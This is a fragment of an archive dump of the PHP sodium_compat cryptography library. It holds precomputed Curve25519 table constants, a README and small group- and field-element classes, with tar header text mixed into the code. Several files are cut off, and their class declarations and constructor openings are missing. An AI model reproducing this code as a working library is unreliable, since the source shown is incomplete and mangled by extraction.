10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269), ), array( array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650), array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369), array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461), ), array( array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462), array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793), array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218), ), array( array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226), array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019), array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037), ), array( array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171), array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132), array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841), ), array( array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181), array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210), array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040), ), array( array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935), array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105), array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814), ), ), array( array( array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852), array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581), array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646), ), array( array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844), array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025), array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453), ), array( array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068), array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192), array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921), ), array( array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259), array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426), array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072), ), array( array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305), array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832), array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943), ), array( array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011), array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447), array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494), ), array( array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245), array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859), array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915), ), array( array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707), array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848), array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224), ), ), array( array( array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391), array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215), array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101), ), array( array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713), array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849), array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930), ), array( array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940), array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031), array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404), ), array( array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243), array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116), array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525), ), array( array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509), array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883), array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865), ), array( array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660), array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273), array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138), ), array( array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560), array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135), array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941), ), array( array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739), array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756), array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819), ), ), array( array( array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347), array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028), array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075), ), array( array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799), array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609), array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817), ), array( array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989), array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523), array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278), ), array( array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045), array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377), array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480), ), array( array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016), array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426), array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525), ), array( array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396), array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080), array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892), ), array( array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275), array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074), array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140), ), array( array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717), array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101), array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127), ), ), array( array( array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632), array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415), array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160), ), array( array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876), array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625), array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478), ), array( array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164), array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595), array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248), ), array( array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858), array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193), array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184), ), array( array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942), array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635), array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948), ), array( array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935), array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415), array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416), ), array( array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018), array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778), array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659), ), array( array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385), array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503), array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329), ), ), array( array( array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056), array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838), array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948), ), array( array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691), array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118), array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517), ), array( array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269), array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904), array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589), ), array( array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193), array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910), array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930), ), array( array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667), array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481), array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876), ), array( array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640), array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278), array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112), ), array( array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272), array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012), array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221), ), array( array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046), array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345), array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310), ), ), array( array( array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937), array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636), array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008), ), array( array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429), array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576), array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066), ), array( array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490), array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104), array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053), ), array( array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275), array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511), array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095), ), array( array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439), array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939), array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424), ), array( array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310), array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608), array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079), ), array( array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101), array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418), array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576), ), array( array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356), array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996), array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099), ), ), array( array( array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728), array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658), array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242), ), array( array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001), array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766), array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373), ), array( array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458), array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628), array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657), ), array( array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062), array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616), array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014), ), array( array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383), array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814), array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718), ), array( array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417), array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222), array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444), ), array( array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597), array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970), array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799), ), array( array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647), array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511), array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032), ), ), array( array( array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834), array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461), array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062), ), array( array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516), array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547), array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240), ), array( array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038), array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741), array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103), ), array( array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747), array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323), array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016), ), array( array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373), array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228), array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141), ), array( array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399), array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831), array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376), ), array( array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313), array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958), array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577), ), array( array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743), array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684), array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476), ), ) ); /** * See: libsodium's crypto_core/curve25519/ref10/base2.h * * @var array>> basically int[8][3] */ protected static $base2 = array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877), array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951), array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784), ), array( array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436), array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918), array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877), ), array( array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800), array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305), array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300), ), array( array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876), array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619), array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683), ) ); /** * 37095705934669439343138083508754565189542113879843219016388785533085940283555 * * @var array */ protected static $d = array( -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116 ); /** * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161 * * @var array */ protected static $d2 = array( -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199 ); /** * sqrt(-1) * * @var array */ protected static $sqrtm1 = array( -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482 ); } sodium_compat/src/Core32/Curve25519/README.md000064400000000332147177035010014207 0ustar00# Curve25519 Data Structures These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h). sodium_compat/src/Core32/Curve25519/Ge/P1p1.php000064400000003344147177035010014523 0ustar00X = $x; if ($y === null) { $y = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->Y = $y; if ($z === null) { $z = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->Z = $z; if ($t === null) { $t = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->T = $t; } } sodium_compat/src/Core32/Curve25519/Ge/Precomp.php000064400000002775147177035010015416 0ustar00yplusx = $yplusx; if ($yminusx === null) { $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->yminusx = $yminusx; if ($xy2d === null) { $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->xy2d = $xy2d; } } sodium_compat/src/Core32/Curve25519/Ge/P3.php000064400000003242147177035010014261 0ustar00X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->T = $t; } } sodium_compat/src/Core32/Curve25519/Ge/Cached.php000064400000003415147177035010015150 0ustar00YplusX = $YplusX; if ($YminusX === null) { $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->YminusX = $YminusX; if ($Z === null) { $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $Z; if ($T2d === null) { $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->T2d = $T2d; } } sodium_compat/src/Core32/Curve25519/Ge/P2.php000064400000002541147177035010014261 0ustar00X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $z; } } sodium_compat/src/Core32/Curve25519/Fe.php000064400000012572147177035010014004 0ustar00 */ protected $container = array(); /** * @var int */ protected $size = 10; /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * @throws SodiumException * @throws TypeError */ public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $array[$i]->overflow = 0; $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { if (!($array[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected ParagonIE_Sodium_Core32_Int32'); } $array[$i]->overflow = 0; $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * @throws SodiumException * @throws TypeError */ public static function fromIntArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); $set = array(); /** @var int $i */ /** @var int $v */ foreach ($array as $i => $v) { $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v); } $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $set[$i]->overflow = 0; $obj->offsetSet($keys[$i], $set[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $set[$i]->overflow = 0; $obj->offsetSet($i, $set[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param mixed $offset * @param mixed $value * @return void * @throws SodiumException * @throws TypeError */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) { throw new InvalidArgumentException('Expected an instance of ParagonIE_Sodium_Core32_Int32'); } if (is_null($offset)) { $this->container[] = $value; } else { ParagonIE_Sodium_Core32_Util::declareScalarType($offset, 'int', 1); $this->container[(int) $offset] = $value; } } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { 